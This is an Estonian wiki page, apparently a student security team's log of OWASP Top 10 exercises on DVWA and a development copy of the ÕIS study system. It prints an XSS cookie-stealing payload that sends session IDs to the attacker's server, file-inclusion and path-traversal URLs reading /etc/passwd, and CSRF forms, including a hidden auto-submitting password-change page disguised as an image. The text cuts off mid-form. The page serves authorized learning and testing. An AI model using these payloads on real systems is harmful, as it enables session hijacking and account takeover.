    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev ==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
